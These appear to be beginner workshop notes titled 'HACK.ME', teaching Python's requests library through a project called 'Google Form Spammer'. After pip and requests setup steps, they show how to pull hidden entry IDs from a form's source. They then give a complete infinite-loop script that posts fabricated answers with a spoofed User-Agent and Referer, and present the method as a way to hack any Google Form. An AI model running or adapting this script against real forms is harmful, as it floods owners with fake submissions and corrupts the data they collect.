

HACK.ME

SESSION-1

THE POWER OF PYTHON

EXPLORING REQUEST

- *Requests is the only Non-GMO HTTP library for Python, safe for human consumption.*
- *Requests allows you to send HTTP/1.1 requests, without the need for manual labour. There's no need to manually add query strings to your URLs, or to form-encode your POST data.*

INSTALLING PIP

Install Pip with apt-get, Step 1a: The Installation

As a matter of best practice we'll update our packages:

```
apt-get update
```

Then let's install python-pip and any required packages:

```
apt-get -y install python-pip
```

INSTALLING REQUEST

Pip Install Requests

To install Requests, simply run this simple command in your terminal of choice:

```
$ pip install requests
```

PROJECT 1

GOOGLE FORM SPAMMER

Steps to Hack any Google Form

1. Create One

2. Scanning the source code

Un-minify the source code @ <http://unminify.com/>

Search for hidden form elements which the form uses to post the data on form submission

```
'''
Form Link
https://docs.google.com/forms/d/e/1FAIpQLScEm6OKcAEuso9P955IlaohxmjrcN8dFXTgwRrhU20GXiTlZw/viewform
POST Link
https://docs.google.com/forms/d/e/1FAIpQLScEm6OKcAEuso9P955IlaohxmjrcN8dFXTgwRrhU20GXiTlZw/formResponse

Logical Conclusion after scanning the source code of the form

Question : What if I say you spam this question ??

entry.481806567
I can

entry.481806567
I can't

What's your CodeChef rank ?

entry.1631013625

Rate Python

entry.736567249

What is needed to hack the form

entry.2012950491
entry.2109148023
entry.797761672

Select the best day of your life till now

entry.2115250323_year
entry.2115250323_month
entry.2115250323_day

'''
```


3. Using Request to post fake data

```

import requests
i=0;
z=0;
h='\n\n';
while(1):
    url = 'https://docs.google.com/forms/d/e/1FAIpQLScEm6OKcAEuso9P955IlaohxmjrcN8dFXTgwRrhU20GXiTlZw/formResponse'
    form_data = {
        'entry.481806567'      :      'I can',
        'entry.1631013625'    :      '898',
        'entry.736567249'     :      '7',
        'entry.2012950491'    :      'Beginner',
        'entry.2109148023'    :      'Beginner',
        'entry.797761672'     :      'Beginner',
        'entry.2115250323_year' :      '2015',
        'entry.2115250323_month':      '12',
        'entry.2115250323_day'  :      '31'
    }
    user_agent ={
        'Referer': 'https://docs.google.com/forms/d/e/1FAIpQLScEm6OKcAEuso9P955IlaohxmjrcN8dFXTgwRrhU20GXiTlZw/viewform',
        'User-Agent': "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52 Safari/537.36"
    }
    r = requests.post(url, data=form_data, headers=user_agent)
    i=i+1
    if(i%3==0):
        print(r)
        print('\nTotal Count = ')
        print(i)
        print('\n')

```